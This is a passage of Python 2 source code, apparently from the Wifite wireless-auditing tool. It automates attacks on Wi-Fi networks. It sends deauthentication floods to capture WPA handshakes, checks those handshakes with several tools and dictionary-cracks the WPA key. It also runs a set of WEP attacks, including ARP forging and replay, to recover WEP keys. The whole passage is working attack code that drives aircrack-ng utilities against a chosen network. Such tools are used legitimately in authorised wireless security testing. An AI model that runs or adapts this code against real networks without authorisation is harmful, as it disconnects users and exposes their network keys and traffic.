  2159. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
  2160. client_index = -1
  2161. else:
  2162. print " %s sending %s deauth to %s... " % \
  2163. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
  2164. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
  2165. G + target_clients[client_index].bssid + W),
  2166. cmd.append('-c')
  2167. cmd.append(target_clients[client_index].bssid)
  2168. cmd.append(self.iface)
  2169. stdout.flush()
  2170.  
  2171. # Send deauth packets via aireplay, wait for them to complete.
  2172. proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  2173. proc_deauth.wait()
  2174. print "sent\r",
  2175. stdout.flush()
  2176.  
  2177. # Copy current dump file for consistency
  2178. if not os.path.exists(cap_file): continue
  2179. temp_cap_file = cap_file + '.temp'
  2180. copy(cap_file, temp_cap_file)
  2181.  
  2182. # Save copy of cap file (for debugging)
  2183. #remove_file('/root/new/wpa-01.cap')
  2184. #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2185.  
  2186. # Check for handshake
  2187. if self.has_handshake(self.target, temp_cap_file):
  2188. got_handshake = True
  2189.  
  2190. try:
  2191. os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2192. except OSError:
  2193. pass
  2194.  
  2195. # Kill the airodump and aireplay processes
  2196. send_interrupt(proc_read)
  2197. send_interrupt(proc_deauth)
  2198.  
  2199. # Save a copy of the handshake
  2200. rename(temp_cap_file, save_as)
  2201.  
  2202. print '\n %s %shandshake captured%s! saved as "%s"' % (
  2203. GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
  2204. self.RUN_CONFIG.WPA_FINDINGS.append(
  2205. '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2206. self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2207. self.RUN_CONFIG.WPA_FINDINGS.append('')
  2208.  
  2209. # Strip handshake if needed
  2210. if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2211.  
  2212. # Add the filename and SSID to the list of 'to-crack'
  2213. # Cracking will be handled after all attacks are finished.
  2214. self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2215.  
  2216. break # Break out of while loop
  2217.  
  2218. # No handshake yet
  2219. os.remove(temp_cap_file)
  2220.  
  2221. # Check the airodump output file for new clients
  2222. for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[1]:
  2223. if client.station != self.target.bssid: continue
  2224. new_client = True
  2225. for c in target_clients:
  2226. if client.bssid == c.bssid:
  2227. new_client = False
  2228. break
  2229.  
  2230. if new_client:
  2231. print " %s %snew client%s found: %s " % \
  2232. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
  2233. G + client.bssid + W)
  2234. target_clients.append(client)
  2235.  
  2236. # End of Handshake wait loop.
  2237.  
  2238. if not got_handshake:
  2239. print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
  2240.  
  2241. except KeyboardInterrupt:
  2242. print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
  2243. if attack_interrupted_prompt():
  2244. remove_airodump_files(file_prefix)
  2245. send_interrupt(proc_read)
  2246. send_interrupt(proc_deauth)
  2247. print ''
  2248. self.RUN_CONFIG.exit_gracefully(0)
  2249.  
  2250.  
  2251. # clean up
  2252. remove_airodump_files(file_prefix)
  2253. send_interrupt(proc_read)
  2254. send_interrupt(proc_deauth)
  2255.  
  2256. return got_handshake
  2257.  
  2258. def has_handshake_tshark(self, target, capfile):
  2259. """
  2260. Uses TShark to check for a handshake.
  2261. Returns "True" if handshake is found, false otherwise.
  2262. """
  2263. if program_exists('tshark'):
  2264. # Call Tshark to return list of EAPOL packets in cap file.
  2265. cmd = ['tshark',
  2266. '-r', capfile, # Input file
  2267. '-R', 'eapol', # Filter (only EAPOL packets)
  2268. '-2', # -R is deprecated and requires -2
  2269. '-n'] # Do not resolve names (MAC vendors)
  2270. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2271. proc.wait()
  2272. lines = proc.communicate()[0].split('\n')
  2273.  
  2274. # Get list of all clients in cap file
  2275. clients = []
  2276. for line in lines:
  2277. if line.find('appears to have been cut short') != -1 or line.find(
  2278. 'Running as user "root"') != -1 or line.strip() == '':
  2279. continue
  2280.  
  2281. while line.startswith(' '): line = line[1:]
  2282. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2283.  
  2284. fields = line.split(' ')
  2285. # ensure tshark dumped correct info
  2286. if len(fields) < 5:
  2287. continue
  2288.  
  2289. src = fields[2].lower()
  2290. dst = fields[4].lower()
  2291.  
  2292. if src == target.bssid.lower() and clients.count(dst) == 0:
  2293. clients.append(dst)
  2294. elif dst == target.bssid.lower() and clients.count(src) == 0:
  2295. clients.append(src)
  2296.  
  2297. # Check each client for a handshake
  2298. for client in clients:
  2299. msg_num = 1 # Index of message in 4-way handshake (starts at 1)
  2300.  
  2301. for line in lines:
  2302. if line.find('appears to have been cut short') != -1: continue
  2303. if line.find('Running as user "root"') != -1: continue
  2304. if line.strip() == '': continue
  2305.  
  2306. # Sanitize tshark's output, separate into fields
  2307. while line[0] == ' ': line = line[1:]
  2308. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2309.  
  2310. fields = line.split(' ')
  2311.  
  2312. # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2313. # This catches this glitch and fixes it.
  2314. if len(fields) < 8:
  2315. continue
  2316. elif len(fields) == 8:
  2317. fields.append('(msg')
  2318. fields.append('3/4)')
  2319.  
  2320. src = fields[2].lower() # Source MAC address
  2321. dst = fields[4].lower() # Destination MAC address
  2322. if len(fields) == 12:
  2323. # "Message x of y" format
  2324. msg = fields[9][0]
  2325. else:
  2326. msg = fields[-1][0]
  2327.  
  2328. # First, third msgs in 4-way handshake are from the target to client
  2329. if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
  2330. continue
  2331. # Second, fourth msgs in 4-way handshake are from client to target
  2332. elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
  2333. continue
  2334.  
  2335. # The messages must appear in sequential order.
  2336. try:
  2337. if int(msg) != msg_num: continue
  2338. except ValueError:
  2339. continue
  2340.  
  2341. msg_num += 1
  2342.  
  2343. # We need the first 4 messages of the 4-way handshake
  2344. # Although aircrack-ng cracks just fine with only 3 of the messages...
  2345. if msg_num >= 4:
  2346. return True
  2347. return False
  2348.  
  2349. def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2350. """
  2351. Uses cowpatty to check for a handshake.
  2352. Returns "True" if handshake is found, false otherwise.
  2353. """
  2354. if not program_exists('cowpatty'): return False
  2355.  
  2356. # Call cowpatty to check if capfile contains a valid handshake.
  2357. cmd = ['cowpatty',
  2358. '-r', capfile, # input file
  2359. '-s', target.ssid, # SSID
  2360. '-c'] # Check for handshake
  2361. # Uses frames 1, 2, or 3 for key attack
  2362. if nonstrict: cmd.append('-2')
  2363. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2364. proc.wait()
  2365. response = proc.communicate()[0]
  2366. if response.find('incomplete four-way handshake exchange') != -1:
  2367. return False
  2368. elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2369. return False
  2370. elif response.find('Unable to open capture file: Success') != -1:
  2371. return False
  2372. return True
  2373.  
  2374. def has_handshake_pyrit(self, target, capfile):
  2375. """
  2376. Uses pyrit to check for a handshake.
  2377. Returns "True" if handshake is found, false otherwise.
  2378. """
  2379. if not program_exists('pyrit'): return False
  2380.  
  2381. # Call pyrit to "Analyze" the cap file's handshakes.
  2382. cmd = ['pyrit',
  2383. '-r', capfile,
  2384. 'analyze']
  2385. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2386. proc.wait()
  2387. hit_essid = False
  2388. for line in proc.communicate()[0].split('\n'):
  2389. # Iterate over every line of output by Pyrit
  2390. if line == '' or line == None: continue
  2391. if line.find("AccessPoint") != -1:
  2392. hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2393. (line.lower().find(target.bssid.lower()) != -1)
  2394. #hit_essid = (line.lower().find(target.bssid.lower()))
  2395.  
  2396. else:
  2397. # If Pyrit says it's good or workable, it's a valid handshake.
  2398. if hit_essid and (line.find(', good, ') != -1 or line.find(', good*, ') != -1 or line.find(', workable, ') != -1):
  2399. return True
  2400. return False
  2401.  
  2402. def has_handshake_aircrack(self, target, capfile):
  2403. """
  2404. Uses aircrack-ng to check for handshake.
  2405. Returns True if found, False otherwise.
  2406. """
  2407. if not program_exists('aircrack-ng'): return False
  2408. crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2409. proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2410. proc_crack.wait()
  2411. txt = proc_crack.communicate()[0]
  2412.  
  2413. return (txt.find('Passphrase not in dictionary') != -1)
  2414.  
  2415. def has_handshake(self, target, capfile):
  2416. """
  2417. Checks if .cap file contains a handshake.
  2418. Returns True if handshake is found, False otherwise.
  2419. """
  2420. valid_handshake = True
  2421. tried = False
  2422. if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2423. tried = True
  2424. valid_handshake = self.has_handshake_tshark(target, capfile)
  2425.  
  2426. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2427. tried = True
  2428. valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2429.  
  2430. # Use CowPatty to check for handshake.
  2431. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2432. tried = True
  2433. valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2434.  
  2435. # Check for handshake using Pyrit if applicable
  2436. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2437. tried = True
  2438. valid_handshake = self.has_handshake_pyrit(target, capfile)
  2439.  
  2440. # Check for handshake using aircrack-ng
  2441. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2442. tried = True
  2443. valid_handshake = self.has_handshake_aircrack(target, capfile)
  2444.  
  2445. if tried: return valid_handshake
  2446. print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
  2447. self.RUN_CONFIG.exit_gracefully(1)
  2448.  
  2449. def strip_handshake(self, capfile):
  2450. """
  2451. Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2452. File in location 'capfile' is overwritten!
  2453. """
  2454. output_file = capfile
  2455. if program_exists('pyrit'):
  2456. cmd = ['pyrit',
  2457. '-r', capfile,
  2458. '-o', capfile + '.temp',
  2459. 'stripLive']
  2460. call(cmd, stdout=DN, stderr=DN)
  2461. if os.path.exists(capfile + '.temp'):
  2462. rename(capfile + '.temp', output_file)
  2463.  
  2464. elif program_exists('tshark'):
  2465. # strip results with tshark
  2466. cmd = ['tshark',
  2467. '-r', capfile, # input file
  2468. '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
  2469. '-2', # -R is deprecated and requires -2
  2470. '-w', capfile + '.temp'] # output file
  2471. proc_strip = call(cmd, stdout=DN, stderr=DN)
  2472.  
  2473. rename(capfile + '.temp', output_file)
  2474.  
  2475. else:
  2476. print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
  2477.  
  2478.  
  2479. ##########################
  2480. # WPA CRACKING FUNCTIONS #
  2481. ##########################
  2482. def wpa_crack(capfile, RUN_CONFIG):
  2483. """
  2484. Cracks cap file using aircrack-ng
  2485. This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2486. they can do so manually.
  2487. """
  2488. if RUN_CONFIG.WPA_DICTIONARY == '':
  2489. print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
  2490. return False
  2491.  
  2492. print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
  2493. start_time = time.time()
  2494. cracked = False
  2495.  
  2496. remove_file(RUN_CONFIG.temp + 'out.out')
  2497. remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2498.  
  2499. cmd = ['aircrack-ng',
  2500. '-a', '2', # WPA crack
  2501. '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist
  2502. '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
  2503. '-b', capfile.bssid, # BSSID of target
  2504. capfile.filename]
  2505.  
  2506. proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2507. try:
  2508. kt = 0 # Keys tested
  2509. kps = 0 # Keys per second
  2510. while True:
  2511. time.sleep(1)
  2512.  
  2513. if proc.poll() != None: # aircrack stopped
  2514. if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2515. # Cracked
  2516. inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2517. key = inf.read().strip()
  2518. inf.close()
  2519. RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
  2520. G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
  2521. RUN_CONFIG.WPA_FINDINGS.append('')
  2522. t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2523. t.key = key
  2524. RUN_CONFIG.save_cracked(t)
  2525.  
  2526. print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
  2527. print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)
  2528. cracked = True
  2529. else:
  2530. # Did not crack
  2531. print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
  2532. break
  2533.  
  2534. inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2535. lines = inf.read().split('\n')
  2536. inf.close()
  2537. outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2538. outf.close()
  2539. for line in lines:
  2540. i = line.find(']')
  2541. j = line.find('keys tested', i)
  2542. if i != -1 and j != -1:
  2543. kts = line[i + 2:j - 1]
  2544. try:
  2545. kt = int(kts)
  2546. except ValueError:
  2547. pass
  2548. i = line.find('(')
  2549. j = line.find('k/s)', i)
  2550. if i != -1 and j != -1:
  2551. kpss = line[i + 1:j - 1]
  2552. try:
  2553. kps = float(kpss)
  2554. except ValueError:
  2555. pass
  2556.  
  2557. print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
  2558. (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
  2559. stdout.flush()
  2560.  
  2561. except KeyboardInterrupt:
  2562. print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
  2563.  
  2564. send_interrupt(proc)
  2565. try:
  2566. os.kill(proc.pid, SIGTERM)
  2567. except OSError:
  2568. pass
  2569.  
  2570. return cracked
  2571.  
  2572.  
  2573. def add_commas(n):
  2574. """
  2575. Receives integer n, returns string representation of n with commas in thousands place.
  2576. I'm sure there's easier ways of doing this... but meh.
  2577. """
  2578. strn = str(n)
  2579. lenn = len(strn)
  2580. i = 0
  2581. result = ''
  2582. while i < lenn:
  2583. if (lenn - i) % 3 == 0 and i != 0: result += ','
  2584. result += strn[i]
  2585. i += 1
  2586. return result
  2587.  
  2588.  
  2589. #################
  2590. # WEP FUNCTIONS #
  2591. #################
  2592. class WEPAttack(Attack):
  2593. def __init__(self, iface, target, clients, config):
  2594. self.iface = iface
  2595. self.target = target
  2596. self.clients = clients
  2597. self.RUN_CONFIG = config
  2598.  
  2599. def RunAttack(self):
  2600. '''
  2601. Abstract method for dispatching the WEP crack
  2602. '''
  2603. self.attack_wep()
  2604.  
  2605. def EndAttack(self):
  2606. '''
  2607. Abstract method for ending the WEP attack
  2608. '''
  2609. pass
  2610.  
  2611. def attack_wep(self):
  2612. """
  2613. Attacks WEP-encrypted network.
  2614. Returns True if key was successfully found, False otherwise.
  2615. """
  2616. if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2617.  
  2618. total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
  2619. if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2620. if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
  2621. if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
  2622. if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2623. if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
  2624. if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1
  2625.  
  2626. if total_attacks <= 0:
  2627. print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
  2628. return False
  2629. remaining_attacks = total_attacks
  2630.  
  2631. print ' %s preparing attack "%s" (%s)' % \
  2632. (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
  2633.  
  2634. file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wep')
  2635. wepkey_file = os.path.join(self.RUN_CONFIG.temp, 'wepkey.txt')
  2636. csv_file = file_prefix + '-01.csv'
  2637. cap_file = file_prefix + '-01.cap'
  2638.  
  2639. remove_airodump_files(file_prefix)
  2640. remove_file(wepkey_file)
  2641.  
  2642. # Start airodump process to capture packets
  2643. cmd_airodump = ['airodump-ng',
  2644. '-w', file_prefix, # Output file name (wep-01.cap, wep-01.csv)
  2645. '-c', self.target.channel, # Wireless channel
  2646. '--write-interval', '1',
  2647. '--bssid', self.target.bssid,
  2648. self.iface]
  2649. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2650. proc_aireplay = None
  2651. proc_aircrack = None
  2652.  
  2653. successful = False # Flag for when attack is successful
  2654. started_cracking = False # Flag for when we have started aircrack-ng
  2655. client_mac = '' # The client mac we will send packets to/from
  2656.  
  2657. total_ivs = 0
  2658. ivs = 0
  2659. last_ivs = 0
  2660. for attack_num in xrange(0, 6):
  2661.  
  2662. # Skip disabled attacks
  2663. if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
  2664. continue
  2665. elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
  2666. continue
  2667. elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
  2668. continue
  2669. elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
  2670. continue
  2671. elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
  2672. continue
  2673. elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
  2674. continue
  2675.  
  2676. remaining_attacks -= 1
  2677.  
  2678. try:
  2679.  
  2680. if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2681. # Successful fake auth
  2682. client_mac = self.RUN_CONFIG.THIS_MAC
  2683. elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2684. send_interrupt(proc_aireplay)
  2685. send_interrupt(proc_airodump)
  2686. print R + ' [!]' + O + ' unable to fake-authenticate with target'
  2687. print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2688. return False
  2689.  
  2690. remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap'))
  2691. # Generate the aireplay-ng arguments based on attack_num and other params
  2692. cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2693. if cmd == '': continue
  2694. if proc_aireplay != None:
  2695. send_interrupt(proc_aireplay)
  2696. proc_aireplay = Popen(cmd, stdout=PIPE, stderr=PIPE)
  2697.  
  2698. print '\r %s attacking "%s" via' % (
  2699. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
  2700. if attack_num == 0:
  2701. print G + 'arp-replay',
  2702. elif attack_num == 1:
  2703. print G + 'chop-chop',
  2704. elif attack_num == 2:
  2705. print G + 'fragmentation',
  2706. elif attack_num == 3:
  2707. print G + 'caffe-latte',
  2708. elif attack_num == 4:
  2709. print G + 'p0841',
  2710. elif attack_num == 5:
  2711. print G + 'hirte',
  2712. print 'attack' + W
  2713.  
  2714. print ' %s captured %s%d%s ivs @ %s iv/sec' % (
  2715. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
  2716. stdout.flush()
  2717.  
  2718. time.sleep(1)
  2719. if attack_num == 1:
  2720. # Send a deauth packet to broadcast and all clients *just because!*
  2721. self.wep_send_deauths(self.iface, self.target, self.clients)
  2722. last_deauth = time.time()
  2723.  
  2724. replaying = False
  2725. time_started = time.time()
  2726. while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2727. # time.sleep(5)
  2728. if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2729. current_hms = "[endless]"
  2730. else:
  2731. current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2732. print "\r %s\r" % (GR + current_hms + W),
  2733. stdout.flush()
  2734. time.sleep(1)
  2735.  
  2736. # Calculates total seconds remaining
  2737.  
  2738. # Check number of IVs captured
  2739. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0]
  2740. if len(csv) > 0:
  2741. ivs = int(csv[0].data)
  2742. print "\r ",
  2743. print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2744. (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs), W),
  2745.  
  2746. if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2747. print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
  2748. self.wep_send_deauths(self.iface, self.target, self.clients)
  2749. print "done\r",
  2750. last_deauth = time.time()
  2751.  
  2752. last_ivs = ivs
  2753. stdout.flush()
  2754. if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2755. # Start cracking
  2756. cmd = ['aircrack-ng',
  2757. '-a', '1',
  2758. '-l', wepkey_file]
  2759. #temp + 'wep-01.cap']
  2760. # Append all .cap files in temp directory (in case we are resuming)
  2761. for f in os.listdir(self.RUN_CONFIG.temp):
  2762. if f.startswith('wep-') and f.endswith('.cap'):
  2763. cmd.append(os.path.join(self.RUN_CONFIG.temp, f))
  2764.  
  2765. print "\r %s started %s (%sover %d ivs%s)" % (
  2766. GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2767. proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2768. started_cracking = True
  2769.  
  2770. # Check if key has been cracked yet.
  2771. if os.path.exists(wepkey_file):
  2772. # Cracked!
  2773. infile = open(wepkey_file, 'r')
  2774. key = infile.read().replace('\n', '')
  2775. infile.close()
  2776. print '\n\n %s %s %s (%s)! key: "%s"' % (
  2777. current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2778. self.RUN_CONFIG.WEP_FINDINGS.append(
  2779. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2780. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2781.  
  2782. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2783. t.key = key
  2784. self.RUN_CONFIG.save_cracked(t)
  2785.  
  2786. # Kill processes
  2787. send_interrupt(proc_airodump)
  2788. send_interrupt(proc_aireplay)
  2789. try:
  2790. os.kill(proc_aireplay, SIGTERM)
  2791. except:
  2792. pass
  2793. send_interrupt(proc_aircrack)
  2794. # Remove files generated by airodump/aireplay/packetforce
  2795. time.sleep(0.5)
  2796. remove_airodump_files(file_prefix)
  2797. remove_file(wepkey_file)
  2798. return True
  2799.  
  2800. # Check if aireplay is still executing
  2801. if proc_aireplay.poll() == None:
  2802. if replaying:
  2803. print ', ' + G + 'replaying \r' + W,
  2804. elif attack_num == 1 or attack_num == 2:
  2805. print ', waiting for packet \r',
  2806. stdout.flush()
  2807. continue
  2808.  
  2809. # At this point, aireplay has stopped
  2810. if attack_num != 1 and attack_num != 2:
  2811. print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
  2812. (sout, serr) = proc_aireplay.communicate()
  2813. break # Break out of attack's While loop
  2814.  
  2815. # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2816. xor_file = ''
  2817. for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2818. if filename.lower().endswith('.xor'):
  2819. xor_file = os.path.join(self.RUN_CONFIG.temp, filename)
  2820. if xor_file == '':
  2821. print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W)
  2822. break
  2823.  
  2824. remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap'))
  2825. cmd = ['packetforge-ng',
  2826. '-0',
  2827. '-a', self.target.bssid,
  2828. '-h', client_mac,
  2829. '-k', '192.168.1.2',
  2830. '-l', '192.168.1.100',
  2831. '-y', xor_file,
  2832. '-w', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'),
  2833. self.iface]
  2834. proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2835. proc_pforge.wait()
  2836. forged_packet = proc_pforge.communicate()[0]
  2837. remove_file(xor_file)
  2838. if forged_packet == None: result = ''
  2839. forged_packet = forged_packet.strip()
  2840. if not forged_packet.find('Wrote packet'):
  2841. print "\r %s attack failed: unable to forget ARP packet %s" % (
  2842. R + current_hms + O, W)
  2843. break
  2844.  
  2845. # We were able to forge a packet, so let's replay it via aireplay-ng
  2846. cmd = ['aireplay-ng',
  2847. '--ignore-negative-one',
  2848. '--arpreplay',
  2849. '-b', self.target.bssid,
  2850. '-r', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'), # Used the forged ARP packet
  2851. '-F', # Select the first packet
  2852. self.iface]
  2853. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2854.  
  2855. print '\r %s forged %s! %s... ' % (
  2856. GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
  2857. replaying = True
  2858.  
  2859. # After the attacks, if we are already cracking, wait for the key to be found!
  2860. while started_cracking: # ivs > WEP_CRACK_AT_IVS:
  2861. time.sleep(1)
  2862. # Check number of IVs captured
  2863. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0]
  2864. if len(csv) > 0:
  2865. ivs = int(csv[0].data)
  2866. print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
  2867. (G, total_ivs + ivs, W, G, (ivs - last_ivs), W),
  2868. last_ivs = ivs
  2869. stdout.flush()
  2870.  
  2871. # Check if key has been cracked yet.
  2872. if os.path.exists(wepkey_file):
  2873. # Cracked!
  2874. infile = open(wepkey_file, 'r')
  2875. key = infile.read().replace('\n', '')
  2876. infile.close()
  2877. print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
  2878. G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2879. self.RUN_CONFIG.WEP_FINDINGS.append(
  2880. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2881. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2882.  
  2883. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2884. t.key = key
  2885. self.RUN_CONFIG.save_cracked(t)
  2886.  
  2887. # Kill processes
  2888. send_interrupt(proc_airodump)
  2889. send_interrupt(proc_aireplay)
  2890. send_interrupt(proc_aircrack)
  2891. # Remove files generated by airodump/aireplay/packetforce
  2892. remove_airodump_files(file_prefix)
  2893. remove_file(wepkey_file)
  2894. return True
  2895.  
  2896. # Keyboard interrupt during attack
  2897. except KeyboardInterrupt:
  2898. print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
  2899.  
  2900. send_interrupt(proc_airodump)
  2901. if proc_aireplay != None:
  2902. send_interrupt(proc_aireplay)
  2903. if proc_aircrack != None:
  2904. send_interrupt(proc_aircrack)
  2905.  
  2906. options = []
  2907. selections = []
  2908. if remaining_attacks > 0:
  2909. options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2910. (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2911. selections.append(G + 'c' + W)
  2912.  
  2913. if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2914. options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
  2915. (O, W, self.RUN_CONFIG.TARGETS_REMAINING,
  2916. 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2917. selections.append(O + 's' + W)
  2918.  
  2919. options.append('%sexit%s the program completely' % (R, W))
  2920. selections.append(R + 'e' + W)
  2921.  
  2922. if len(options) > 1:
  2923. # Ask user what they want to do, Store answer in "response"
  2924. print GR + ' [+]' + W + ' what do you want to do?'
  2925. response = ''
  2926. while response != 'c' and response != 's' and response != 'e':
  2927. for option in options:
  2928. print ' %s' % option
  2929. response = raw_input(
  2930. GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  2931. else:
  2932. response = 'e'
  2933.  
  2934. if response == 'e' or response == 's':
  2935. # Exit or skip target (either way, stop this attack)
  2936. if self.RUN_CONFIG.WEP_SAVE:
  2937. # Save packets
  2938. save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
  2939. '-') + '.cap' + W
  2940. try:
  2941. rename(cap_file, save_as)
  2942. except OSError:
  2943. print R + ' [!]' + O + ' unable to save capture file!' + W
  2944. else:
